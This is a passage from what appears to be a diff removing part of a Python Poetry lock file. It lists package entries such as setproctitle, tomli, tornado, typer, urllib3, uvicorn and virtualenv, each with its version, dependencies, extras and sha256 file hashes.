"setproctitle-1.3.7-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:b53602371a52b91c80aaf578b5ada29d311d12b8a69c0c17fbc35b76a1fd4f2e"}, - {file = "setproctitle-1.3.7-cp314-cp314-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:fcb966a6c57cf07cc9448321a08f3be6b11b7635be502669bc1d8745115d7e7f"}, - {file = "setproctitle-1.3.7-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:46178672599b940368d769474fe13ecef1b587d58bb438ea72b9987f74c56ea5"}, - {file = "setproctitle-1.3.7-cp314-cp314-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:7f9e9e3ff135cbcc3edd2f4cf29b139f4aca040d931573102742db70ff428c17"}, - {file = "setproctitle-1.3.7-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:14c7eba8d90c93b0e79c01f0bd92a37b61983c27d6d7d5a3b5defd599113d60e"}, - {file = "setproctitle-1.3.7-cp314-cp314-musllinux_1_2_ppc64le.whl", hash = "sha256:9e64e98077fb30b6cf98073d6c439cd91deb8ebbf8fc62d9dbf52bd38b0c6ac0"}, - {file = "setproctitle-1.3.7-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:b91387cc0f02a00ac95dcd93f066242d3cca10ff9e6153de7ee07069c6f0f7c8"}, - {file = "setproctitle-1.3.7-cp314-cp314-win32.whl", hash = "sha256:52b054a61c99d1b72fba58b7f5486e04b20fefc6961cd76722b424c187f362ed"}, - {file = "setproctitle-1.3.7-cp314-cp314-win_amd64.whl", hash = "sha256:5818e4080ac04da1851b3ec71e8a0f64e3748bf9849045180566d8b736702416"}, - {file = "setproctitle-1.3.7-cp314-cp314t-macosx_10_13_universal2.whl", hash = "sha256:6fc87caf9e323ac426910306c3e5d3205cd9f8dcac06d233fcafe9337f0928a3"}, - {file = "setproctitle-1.3.7-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:6134c63853d87a4897ba7d5cc0e16abfa687f6c66fc09f262bb70d67718f2309"}, - {file = "setproctitle-1.3.7-cp314-cp314t-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:1403d2abfd32790b6369916e2313dffbe87d6b11dca5bbd898981bcde48e7a2b"}, - {file = "setproctitle-1.3.7-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:e7c5bfe4228ea22373e3025965d1a4116097e555ee3436044f5c954a5e63ac45"}, - {file = "setproctitle-1.3.7-cp314-cp314t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:585edf25e54e21a94ccb0fe81ad32b9196b69ebc4fc25f81da81fb8a50cca9e4"}, - {file = "setproctitle-1.3.7-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:96c38cdeef9036eb2724c2210e8d0b93224e709af68c435d46a4733a3675fee1"}, - {file = "setproctitle-1.3.7-cp314-cp314t-musllinux_1_2_ppc64le.whl", hash = "sha256:45e3ef48350abb49cf937d0a8ba15e42cee1e5ae13ca41a77c66d1abc27a5070"}, - {file = "setproctitle-1.3.7-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:1fae595d032b30dab4d659bece20debd202229fce12b55abab978b7f30783d73"}, - {file = "setproctitle-1.3.7-cp314-cp314t-win32.whl", hash = "sha256:02432f26f5d1329ab22279ff863c83589894977063f59e6c4b4845804a08f8c2"}, - {file = "setproctitle-1.3.7-cp314-cp314t-win_amd64.whl", hash = "sha256:cbc388e3d86da1f766d8fc2e12682e446064c01cea9f88a88647cfe7c011de6a"}, - {file = "setproctitle-1.3.7-cp38-cp38-macosx_10_9_universal2.whl", hash = "sha256:376761125ab5dab822d40eaa7d9b7e876627ecd41de8fa5336713b611b47ccef"}, - {file = "setproctitle-1.3.7-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:2a4e03bd9aa5d10b8702f00ec1b740691da96b5003432f3000d60c56f1c2b4d3"}, - {file = "setproctitle-1.3.7-cp38-cp38-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:47d36e418ab86b3bc7946e27155e281a743274d02cd7e545f5d628a2875d32f9"}, - {file = "setproctitle-1.3.7-cp38-cp38-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:a74714ce836914063c36c8a26ae11383cf8a379698c989fe46883e38a8faa5be"}, - {file = "setproctitle-1.3.7-cp38-cp38-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:f2ae6c3f042fc866cc0fa2bc35ae00d334a9fa56c9d28dfc47d1b4f5ed23e375"}, - {file = "setproctitle-1.3.7-cp38-cp38-musllinux_1_2_aarch64.whl", hash = "sha256:be7e01f3ad8d0e43954bebdb3088cb466633c2f4acdd88647e7fbfcfe9b9729f"}, - {file = "setproctitle-1.3.7-cp38-cp38-musllinux_1_2_ppc64le.whl", hash = "sha256:35a2cabcfdea4643d7811cfe9f3d92366d282b38ef5e7e93e25dafb6f97b0a59"}, - {file = "setproctitle-1.3.7-cp38-cp38-musllinux_1_2_x86_64.whl", hash = "sha256:8ce2e39a40fca82744883834683d833e0eb28623752cc1c21c2ec8f06a890b39"}, - {file = "setproctitle-1.3.7-cp38-cp38-win32.whl", hash = "sha256:6f1be447456fe1e16c92f5fb479404a850d8f4f4ff47192fde14a59b0bae6a0a"}, - {file = "setproctitle-1.3.7-cp38-cp38-win_amd64.whl", hash = "sha256:5ce2613e1361959bff81317dc30a60adb29d8132b6159608a783878fc4bc4bbc"}, - {file = "setproctitle-1.3.7-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:deda9d79d1eb37b688729cac2dba0c137e992ebea960eadb7c2c255524c869e0"}, - {file = "setproctitle-1.3.7-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:a93e4770ac22794cfa651ee53f092d7de7105c76b9fc088bb81ca0dcf698f704"}, - {file = "setproctitle-1.3.7-cp39-cp39-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:134e7f66703a1d92c0a9a0a417c580f2cc04b93d31d3fc0dd43c3aa194b706e1"}, - {file = "setproctitle-1.3.7-cp39-cp39-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:9796732a040f617fc933f9531c9a84bb73c5c27b8074abbe52907076e804b2b7"}, - {file = "setproctitle-1.3.7-cp39-cp39-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:ff3c1c32382fb71a200db8bab3df22f32e6ac7ec3170e92fa5b542cf42eed9a2"}, - {file = "setproctitle-1.3.7-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:01f27b5b72505b304152cb0bd7ff410cc4f2d69ac70c21a7fdfa64400a68642d"}, - {file = "setproctitle-1.3.7-cp39-cp39-musllinux_1_2_ppc64le.whl", hash = "sha256:80b6a562cbc92b289c28f34ce709a16b26b1696e9b9a0542a675ce3a788bdf3f"}, - {file = "setproctitle-1.3.7-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:c4fb90174d176473122e7eef7c6492d53761826f34ff61c81a1c1d66905025d3"}, - {file = "setproctitle-1.3.7-cp39-cp39-win32.whl", hash = "sha256:c77b3f58a35f20363f6e0a1219b367fbf7e2d2efe3d2c32e1f796447e6061c10"}, - {file = "setproctitle-1.3.7-cp39-cp39-win_amd64.whl", hash = "sha256:318ddcf88dafddf33039ad41bc933e1c49b4cb196fe1731a209b753909591680"}, - {file = "setproctitle-1.3.7-pp310-pypy310_pp73-macosx_11_0_arm64.whl", hash = "sha256:eb440c5644a448e6203935ed60466ec8d0df7278cd22dc6cf782d07911bcbea6"}, - {file = "setproctitle-1.3.7-pp310-pypy310_pp73-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:502b902a0e4c69031b87870ff4986c290ebbb12d6038a70639f09c331b18efb2"}, - {file = "setproctitle-1.3.7-pp310-pypy310_pp73-win_amd64.whl", hash = "sha256:f6f268caeabb37ccd824d749e7ce0ec6337c4ed954adba33ec0d90cc46b0ab78"}, - {file = "setproctitle-1.3.7-pp311-pypy311_pp73-macosx_11_0_arm64.whl", hash = "sha256:b1cac6a4b0252b8811d60b6d8d0f157c0fdfed379ac89c25a914e6346cf355a1"}, - {file = "setproctitle-1.3.7-pp311-pypy311_pp73-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:f1704c9e041f2b1dc38f5be4552e141e1432fba3dd52c72eeffd5bc2db04dc65"}, - {file = "setproctitle-1.3.7-pp311-pypy311_pp73-win_amd64.whl", hash = "sha256:b08b61976ffa548bd5349ce54404bf6b2d51bd74d4f1b241ed1b0f25bce09c3a"}, - {file = "setproctitle-1.3.7.tar.gz", hash = "sha256:bc2bc917691c1537d5b9bca1468437176809c7e11e5694ca79a9ca12345dcb9e"}, -] - -[package.extras] -test = ["pytest"] - -[[package]] -name = "shellingham" -version = "1.5.4" -description = "Tool to Detect Surrounding Shell" -optional = false -python-versions = ">=3.7" -groups = ["main"] -files = [ - {file = "shellingham-1.5.4-py2.py3-none-any.whl", hash = "sha256:7ecfff8f2fd72616f7481040475a65b2bf8af90a56c89140852d1120324e8686"}, - {file = "shellingham-1.5.4.tar.gz", hash = "sha256:8dbca0739d487e5bd35ab3ca4b36e11c4078f3a234bfce294b0a0291363404de"}, -] - -[[package]] -name = "six" -version = "1.17.0" -description = "Python 2 and 3 compatibility utilities" -optional = false -python-versions = "!=3.0.*,!=3.1.*,!=3.2.*,>=2.7" -groups = ["dev", "docs"] -files = [ - {file = "six-1.17.0-py2.py3-none-any.whl", hash = "sha256:4721f391ed90541fddacab5acf947aa0d3dc7d27b2e1e8eda2be8970586c3274"}, - {file = "six-1.17.0.tar.gz", hash = "sha256:ff70335d468e7eb6ec65b95b99d3a2836546063f63acc5171de367e834932a81"}, -] - -[[package]] -name = "socksio" -version = "1.0.0" -description = "Sans-I/O implementation of SOCKS4, SOCKS4A, and SOCKS5." -optional = false -python-versions = ">=3.6" -groups = ["main"] -files = [ - {file = "socksio-1.0.0-py3-none-any.whl", hash = "sha256:95dc1f15f9b34e8d7b16f06d74b8ccf48f609af32ab33c608d08761c5dcbb1f3"}, - {file = "socksio-1.0.0.tar.gz", hash = "sha256:f88beb3da5b5c38b9890469de67d0cb0f9d494b78b106ca1845f96c10b91c4ac"}, -] - -[[package]] -name = "soupsieve" -version = "2.8.3" -description = "A modern CSS selector implementation for Beautiful Soup." -optional = false -python-versions = ">=3.9" -groups = ["main", "docs"] -files = [ - {file = "soupsieve-2.8.3-py3-none-any.whl", hash = "sha256:ed64f2ba4eebeab06cc4962affce381647455978ffc1e36bb79a545b91f45a95"}, - {file = "soupsieve-2.8.3.tar.gz", hash = "sha256:3267f1eeea4251fb42728b6dfb746edc9acaffc4a45b27e19450b676586e8349"}, -] - -[[package]] -name = "starlette" -version = "1.0.0" -description = "The little ASGI library that shines." -optional = false -python-versions = ">=3.10" -groups = ["dev"] -files = [ - {file = "starlette-1.0.0-py3-none-any.whl", hash = "sha256:d3ec55e0bb321692d275455ddfd3df75fff145d009685eb40dc91fc66b03d38b"}, - {file = "starlette-1.0.0.tar.gz", hash = "sha256:6a4beaf1f81bb472fd19ea9b918b50dc3a77a6f2e190a12954b25e6ed5eea149"}, -] - -[package.dependencies] -anyio = ">=3.6.2,<5" -typing-extensions = {version = ">=4.10.0", markers = "python_version < \"3.13\""} - -[package.extras] -full = ["httpx (>=0.27.0,<0.29.0)", "itsdangerous", "jinja2", "python-multipart (>=0.0.18)", "pyyaml"] - -[[package]] -name = "tabulate" -version = "0.8.10" -description = "Pretty-print tabular data" -optional = false -python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*, !=3.4.*" -groups = ["main"] -files = [ - {file = "tabulate-0.8.10-py3-none-any.whl", hash = "sha256:0ba055423dbaa164b9e456abe7920c5e8ed33fcc16f6d1b2f2d152c8e1e8b4fc"}, - {file = "tabulate-0.8.10.tar.gz", hash = "sha256:6c57f3f3dd7ac2782770155f3adb2db0b1a269637e42f27599925e64b114f519"}, -] - -[package.extras] -widechars = ["wcwidth"] - -[[package]] -name = "tldextract" -version = "5.3.1" -description = "Accurately separates a URL's subdomain, domain, and public suffix, using the Public Suffix List (PSL). By default, this includes the public ICANN TLDs and their exceptions. You can optionally support the Public Suffix List's private domains as well." -optional = false -python-versions = ">=3.10" -groups = ["main", "dev"] -files = [ - {file = "tldextract-5.3.1-py3-none-any.whl", hash = "sha256:6bfe36d518de569c572062b788e16a659ccaceffc486d243af0484e8ecf432d9"}, - {file = "tldextract-5.3.1.tar.gz", hash = "sha256:a72756ca170b2510315076383ea2993478f7da6f897eef1f4a5400735d5057fb"}, -] - -[package.dependencies] -filelock = ">=3.0.8" -idna = "*" -requests = ">=2.1.0" -requests-file = ">=1.4" - -[package.extras] -release = ["build", "twine"] -testing = ["mypy", "pytest", "pytest-gitignore", "pytest-mock", "responses", "ruff", "syrupy", "tox", "tox-uv", "types-filelock", "types-requests"] - -[[package]] -name = "tomli" -version = "2.4.1" -description = "A lil' TOML parser" -optional = false -python-versions = ">=3.8" -groups = ["dev"] -markers = "python_full_version <= \"3.11.0a6\"" -files = [ - {file = "tomli-2.4.1-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:f8f0fc26ec2cc2b965b7a3b87cd19c5c6b8c5e5f436b984e85f486d652285c30"}, - {file = "tomli-2.4.1-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:4ab97e64ccda8756376892c53a72bd1f964e519c77236368527f758fbc36a53a"}, - {file = "tomli-2.4.1-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:96481a5786729fd470164b47cdb3e0e58062a496f455ee41b4403be77cb5a076"}, - {file = "tomli-2.4.1-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:5a881ab208c0baf688221f8cecc5401bd291d67e38a1ac884d6736cbcd8247e9"}, - {file = "tomli-2.4.1-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:47149d5bd38761ac8be13a84864bf0b7b70bc051806bc3669ab1cbc56216b23c"}, - {file = "tomli-2.4.1-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:ec9bfaf3ad2df51ace80688143a6a4ebc09a248f6ff781a9945e51937008fcbc"}, - {file = "tomli-2.4.1-cp311-cp311-win32.whl", hash = "sha256:ff2983983d34813c1aeb0fa89091e76c3a22889ee83ab27c5eeb45100560c049"}, - {file = "tomli-2.4.1-cp311-cp311-win_amd64.whl", hash = "sha256:5ee18d9ebdb417e384b58fe414e8d6af9f4e7a0ae761519fb50f721de398dd4e"}, - {file = "tomli-2.4.1-cp311-cp311-win_arm64.whl", hash = "sha256:c2541745709bad0264b7d4705ad453b76ccd191e64aa6f0fc66b69a293a45ece"}, - {file = "tomli-2.4.1-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:c742f741d58a28940ce01d58f0ab2ea3ced8b12402f162f4d534dfe18ba1cd6a"}, - {file = "tomli-2.4.1-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:7f86fd587c4ed9dd76f318225e7d9b29cfc5a9d43de44e5754db8d1128487085"}, - {file = "tomli-2.4.1-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:ff18e6a727ee0ab0388507b89d1bc6a22b138d1e2fa56d1ad494586d61d2eae9"}, - {file = "tomli-2.4.1-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:136443dbd7e1dee43c68ac2694fde36b2849865fa258d39bf822c10e8068eac5"}, - {file = "tomli-2.4.1-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:5e262d41726bc187e69af7825504c933b6794dc3fbd5945e41a79bb14c31f585"}, - {file = "tomli-2.4.1-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:5cb41aa38891e073ee49d55fbc7839cfdb2bc0e600add13874d048c94aadddd1"}, - {file = "tomli-2.4.1-cp312-cp312-win32.whl", hash = "sha256:da25dc3563bff5965356133435b757a795a17b17d01dbc0f42fb32447ddfd917"}, - {file = "tomli-2.4.1-cp312-cp312-win_amd64.whl", hash = "sha256:52c8ef851d9a240f11a88c003eacb03c31fc1c9c4ec64a99a0f922b93874fda9"}, - {file = "tomli-2.4.1-cp312-cp312-win_arm64.whl", hash = "sha256:f758f1b9299d059cc3f6546ae2af89670cb1c4d48ea29c3cacc4fe7de3058257"}, - {file = "tomli-2.4.1-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:36d2bd2ad5fb9eaddba5226aa02c8ec3fa4f192631e347b3ed28186d43be6b54"}, - {file = "tomli-2.4.1-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:eb0dc4e38e6a1fd579e5d50369aa2e10acfc9cace504579b2faabb478e76941a"}, - {file = "tomli-2.4.1-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:c7f2c7f2b9ca6bdeef8f0fa897f8e05085923eb091721675170254cbc5b02897"}, - {file = "tomli-2.4.1-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:f3c6818a1a86dd6dca7ddcaaf76947d5ba31aecc28cb1b67009a5877c9a64f3f"}, - {file = "tomli-2.4.1-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:d312ef37c91508b0ab2cee7da26ec0b3ed2f03ce12bd87a588d771ae15dcf82d"}, - {file = "tomli-2.4.1-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:51529d40e3ca50046d7606fa99ce3956a617f9b36380da3b7f0dd3dd28e68cb5"}, - {file = "tomli-2.4.1-cp313-cp313-win32.whl", hash = "sha256:2190f2e9dd7508d2a90ded5ed369255980a1bcdd58e52f7fe24b8162bf9fedbd"}, - {file = "tomli-2.4.1-cp313-cp313-win_amd64.whl", hash = "sha256:8d65a2fbf9d2f8352685bc1364177ee3923d6baf5e7f43ea4959d7d8bc326a36"}, - {file = "tomli-2.4.1-cp313-cp313-win_arm64.whl", hash = "sha256:4b605484e43cdc43f0954ddae319fb75f04cc10dd80d830540060ee7cd0243cd"}, - {file = "tomli-2.4.1-cp314-cp314-macosx_10_15_x86_64.whl", hash = "sha256:fd0409a3653af6c147209d267a0e4243f0ae46b011aa978b1080359fddc9b6cf"}, - {file = "tomli-2.4.1-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:a120733b01c45e9a0c34aeef92bf0cf1d56cfe81ed9d47d562f9ed591a9828ac"}, - {file = "tomli-2.4.1-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:559db847dc486944896521f68d8190be1c9e719fced785720d2216fe7022b662"}, - {file = "tomli-2.4.1-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:01f520d4f53ef97964a240a035ec2a869fe1a37dde002b57ebc4417a27ccd853"}, - {file = "tomli-2.4.1-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:7f94b27a62cfad8496c8d2513e1a222dd446f095fca8987fceef261225538a15"}, - {file = "tomli-2.4.1-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:ede3e6487c5ef5d28634ba3f31f989030ad6af71edfb0055cbbd14189ff240ba"}, - {file = "tomli-2.4.1-cp314-cp314-win32.whl", hash = "sha256:3d48a93ee1c9b79c04bb38772ee1b64dcf18ff43085896ea460ca8dec96f35f6"}, - {file = "tomli-2.4.1-cp314-cp314-win_amd64.whl", hash = "sha256:88dceee75c2c63af144e456745e10101eb67361050196b0b6af5d717254dddf7"}, - {file = "tomli-2.4.1-cp314-cp314-win_arm64.whl", hash = "sha256:b8c198f8c1805dc42708689ed6864951fd2494f924149d3e4bce7710f8eb5232"}, - {file = "tomli-2.4.1-cp314-cp314t-macosx_10_15_x86_64.whl", hash = "sha256:d4d8fe59808a54658fcc0160ecfb1b30f9089906c50b23bcb4c69eddc19ec2b4"}, - {file = "tomli-2.4.1-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:7008df2e7655c495dd12d2a4ad038ff878d4ca4b81fccaf82b714e07eae4402c"}, - {file = "tomli-2.4.1-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:1d8591993e228b0c930c4bb0db464bdad97b3289fb981255d6c9a41aedc84b2d"}, - {file = "tomli-2.4.1-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:734e20b57ba95624ecf1841e72b53f6e186355e216e5412de414e3c51e5e3c41"}, - {file = "tomli-2.4.1-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:8a650c2dbafa08d42e51ba0b62740dae4ecb9338eefa093aa5c78ceb546fcd5c"}, - {file = "tomli-2.4.1-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:504aa796fe0569bb43171066009ead363de03675276d2d121ac1a4572397870f"}, - {file = "tomli-2.4.1-cp314-cp314t-win32.whl", hash = "sha256:b1d22e6e9387bf4739fbe23bfa80e93f6b0373a7f1b96c6227c32bef95a4d7a8"}, - {file = "tomli-2.4.1-cp314-cp314t-win_amd64.whl", hash = "sha256:2c1c351919aca02858f740c6d33adea0c5deea37f9ecca1cc1ef9e884a619d26"}, - {file = "tomli-2.4.1-cp314-cp314t-win_arm64.whl", hash = "sha256:eab21f45c7f66c13f2a9e0e1535309cee140182a9cdae1e041d02e47291e8396"}, - {file = "tomli-2.4.1-py3-none-any.whl", hash = "sha256:0d85819802132122da43cb86656f8d1f8c6587d54ae7dcaf30e90533028b49fe"}, - {file = "tomli-2.4.1.tar.gz", hash = "sha256:7c7e1a961a0b2f2472c1ac5b69affa0ae1132c39adcb67aba98568702b9cc23f"}, -] - -[[package]] -name = "tornado" -version = "6.5.5" -description = "Tornado is a Python web framework and asynchronous networking library, originally developed at FriendFeed." -optional = false -python-versions = ">=3.9" -groups = ["dev", "docs"] -files = [ - {file = "tornado-6.5.5-cp39-abi3-macosx_10_9_universal2.whl", hash = "sha256:487dc9cc380e29f58c7ab88f9e27cdeef04b2140862e5076a66fb6bb68bb1bfa"}, - {file = "tornado-6.5.5-cp39-abi3-macosx_10_9_x86_64.whl", hash = "sha256:65a7f1d46d4bb41df1ac99f5fcb685fb25c7e61613742d5108b010975a9a6521"}, - {file = "tornado-6.5.5-cp39-abi3-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:e74c92e8e65086b338fd56333fb9a68b9f6f2fe7ad532645a290a464bcf46be5"}, - {file = "tornado-6.5.5-cp39-abi3-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:435319e9e340276428bbdb4e7fa732c2d399386d1de5686cb331ec8eee754f07"}, - {file = "tornado-6.5.5-cp39-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:3f54aa540bdbfee7b9eb268ead60e7d199de5021facd276819c193c0fb28ea4e"}, - {file = "tornado-6.5.5-cp39-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:36abed1754faeb80fbd6e64db2758091e1320f6bba74a4cf8c09cd18ccce8aca"}, - {file = "tornado-6.5.5-cp39-abi3-win32.whl", hash = "sha256:dd3eafaaeec1c7f2f8fdcd5f964e8907ad788fe8a5a32c4426fbbdda621223b7"}, - {file = "tornado-6.5.5-cp39-abi3-win_amd64.whl", hash = "sha256:6443a794ba961a9f619b1ae926a2e900ac20c34483eea67be4ed8f1e58d3ef7b"}, - {file = "tornado-6.5.5-cp39-abi3-win_arm64.whl", hash = "sha256:2c9a876e094109333f888539ddb2de4361743e5d21eece20688e3e351e4990a6"}, - {file = "tornado-6.5.5.tar.gz", hash = "sha256:192b8f3ea91bd7f1f50c06955416ed76c6b72f96779b962f07f911b91e8d30e9"}, -] - -[[package]] -name = "typer" -version = "0.24.2" -description = "Typer, build great CLIs. Easy to code. Based on Python type hints." -optional = false -python-versions = ">=3.10" -groups = ["main"] -files = [ - {file = "typer-0.24.2-py3-none-any.whl", hash = "sha256:b618bc3d721f9a8d30f3e05565be26416d06e9bcc29d49bc491dc26aba674fa8"}, - {file = "typer-0.24.2.tar.gz", hash = "sha256:ec070dcfca1408e85ee203c6365001e818c3b7fffe686fd07ff2d68095ca0480"}, -] - -[package.dependencies] -annotated-doc = ">=0.0.2" -click = ">=8.2.1" -rich = ">=12.3.0" -shellingham = ">=1.3.0" - -[[package]] -name = "typing-extensions" -version = "4.15.0" -description = "Backported and Experimental Type Hints for Python 3.9+" -optional = false -python-versions = ">=3.9" -groups = ["main", "dev", "docs"] -files = [ - {file = "typing_extensions-4.15.0-py3-none-any.whl", hash = "sha256:f0fa19c6845758ab08074a0cfa8b7aecb71c999ca73d62883bc25cc018c4e548"}, - {file = "typing_extensions-4.15.0.tar.gz", hash = "sha256:0cea48d173cc12fa28ecabc3b837ea3cf6f38c6d1136f85cbaaf598984861466"}, -] - -[[package]] -name = "typing-inspection" -version = "0.4.2" -description = "Runtime typing introspection tools" -optional = false -python-versions = ">=3.9" -groups = ["main", "dev"] -files = [ - {file = "typing_inspection-0.4.2-py3-none-any.whl", hash = "sha256:4ed1cacbdc298c220f1bd249ed5287caa16f34d44ef4e9c3d0cbad5b521545e7"}, - {file = "typing_inspection-0.4.2.tar.gz", hash = "sha256:ba561c48a67c5958007083d386c3295464928b01faa735ab8547c5692e87f464"}, -] - -[package.dependencies] -typing-extensions = ">=4.12.0" - -[[package]] -name = "unidecode" -version = "1.4.0" -description = "ASCII transliterations of Unicode text" -optional = false -python-versions = ">=3.7" -groups = ["main"] -files = [ - {file = "Unidecode-1.4.0-py3-none-any.whl", hash = "sha256:c3c7606c27503ad8d501270406e345ddb480a7b5f38827eafe4fa82a137f0021"}, - {file = "Unidecode-1.4.0.tar.gz", hash = "sha256:ce35985008338b676573023acc382d62c264f307c8f7963733405add37ea2b23"}, -] - -[[package]] -name = "urllib3" -version = "2.6.3" -description = "HTTP library with thread-safe connection pooling, file post, and more." -optional = false -python-versions = ">=3.9" -groups = ["main", "dev", "docs"] -files = [ - {file = "urllib3-2.6.3-py3-none-any.whl", hash = "sha256:bf272323e553dfb2e87d9bfd225ca7b0f467b919d7bbd355436d3fd37cb0acd4"}, - {file = "urllib3-2.6.3.tar.gz", hash = "sha256:1b62b6884944a57dbe321509ab94fd4d3b307075e0c2eae991ac71ee15ad38ed"}, -] - -[package.extras] -brotli = ["brotli (>=1.2.0) ; platform_python_implementation == \"CPython\"", "brotlicffi (>=1.2.0.0) ; platform_python_implementation != \"CPython\""] -h2 = ["h2 (>=4,<5)"] -socks = ["pysocks (>=1.5.6,!=1.5.7,<2.0)"] -zstd = ["backports-zstd (>=1.0.0) ; python_version < \"3.14\""] - -[[package]] -name = "uvicorn" -version = "0.39.0" -description = "The lightning-fast ASGI server." -optional = false -python-versions = ">=3.9" -groups = ["dev"] -files = [ - {file = "uvicorn-0.39.0-py3-none-any.whl", hash = "sha256:7beec21bd2693562b386285b188a7963b06853c0d006302b3e4cfed950c9929a"}, - {file = "uvicorn-0.39.0.tar.gz", hash = "sha256:610512b19baa93423d2892d7823741f6d27717b642c8964000d7194dded19302"}, -] - -[package.dependencies] -click = ">=7.0" -h11 = ">=0.8" -typing-extensions = {version = ">=4.0", markers = "python_version < \"3.11\""} - -[package.extras] -standard = ["colorama (>=0.4) ; sys_platform == \"win32\"", "httptools (>=0.6.3)", "python-dotenv (>=0.13)", "pyyaml (>=5.1)", "uvloop (>=0.15.1) ; sys_platform != \"win32\" and sys_platform != \"cygwin\" and platform_python_implementation != \"PyPy\"", "watchfiles (>=0.13)", "websockets (>=10.4)"] - -[[package]] -name = "verspec" -version = "0.1.0" -description = "Flexible version handling" -optional = false -python-versions = "*" -groups = ["docs"] -files = [ - {file = "verspec-0.1.0-py3-none-any.whl", hash = "sha256:741877d5633cc9464c45a469ae2a31e801e6dbbaa85b9675d481cda100f11c31"}, - {file = "verspec-0.1.0.tar.gz", hash = "sha256:c4504ca697b2056cdb4bfa7121461f5a0e81809255b41c03dda4ba823637c01e"}, -] - -[package.extras] -test = ["coverage", "flake8 (>=3.7)", "mypy", "pretend", "pytest"] - -[[package]] -name = "virtualenv" -version = "21.2.4" -description = "Virtual Python Environment builder" -optional = false -python-versions = ">=3.8" -groups = ["dev"] -files = [ - {file = "virtualenv-21.2.4-py3-none-any.whl", hash = "sha256:29d21e941795206138d0f22f4e45ff7050e5da6c6472299fb7103318763861ac"}, - {file = "virtualenv-21.2.4.tar.gz", hash = "sha256:b294ef68192638004d72524ce7ef303e9d0cf5a44c95ce2e54a7500a6381cada"}, -] - -[package.dependencies] -distlib = ">=0.3.7,<1" -filelock = {version = ">=3.24.2,<4", markers = "python_version >= \"3.10\""} -platformdirs = ">=3.9.1,<5" -python-discovery = ">=1.2.2" -typing-extensions = {version = ">=4.13.2", markers = "python_version < \"3.11\""} - -[[package]] -name = "watchdog" -version = "6.0.0" -description = "Filesystem events monitoring" -optional = 